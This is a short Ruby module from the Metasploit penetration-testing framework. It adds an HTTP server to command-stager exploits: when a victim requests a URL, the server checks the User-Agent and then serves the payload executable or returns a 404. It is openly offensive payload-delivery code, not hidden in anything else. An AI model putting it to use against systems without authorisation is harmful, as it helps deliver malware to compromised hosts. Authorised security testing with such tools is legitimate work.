# -*- coding: binary -*-

require 'msf/core/exploit/tcp_server'
require 'msf/core/exploit/http/server'

module Msf::Exploit::CmdStager
module Http

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Stance' => Msf::Exploit::Stance::Aggressive
    ))
  end

  def start_service(opts = {})
    datastore_ssl = datastore['SSL']
    datastore['SSL'] = !!opts[:ssl]

    super

    payload_uri = get_uri
    datastore['SSL'] = datastore_ssl

    payload_uri
  end

  def on_request_uri(cli, request)
    client = cli.peerhost

    if (user_agent = request.headers['User-Agent'])
      client << " (#{user_agent})"
    end

    print_status("Client #{client} requested #{request.raw_uri}")

    if stager_instance.respond_to?(:user_agent)
      agent_regex = stager_instance.user_agent
    else
      agent_regex = /.*/
    end

    if user_agent =~ agent_regex
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    else
      print_status("Sending 404 to #{client}")
      send_not_found(cli)
    end
  end

end
end
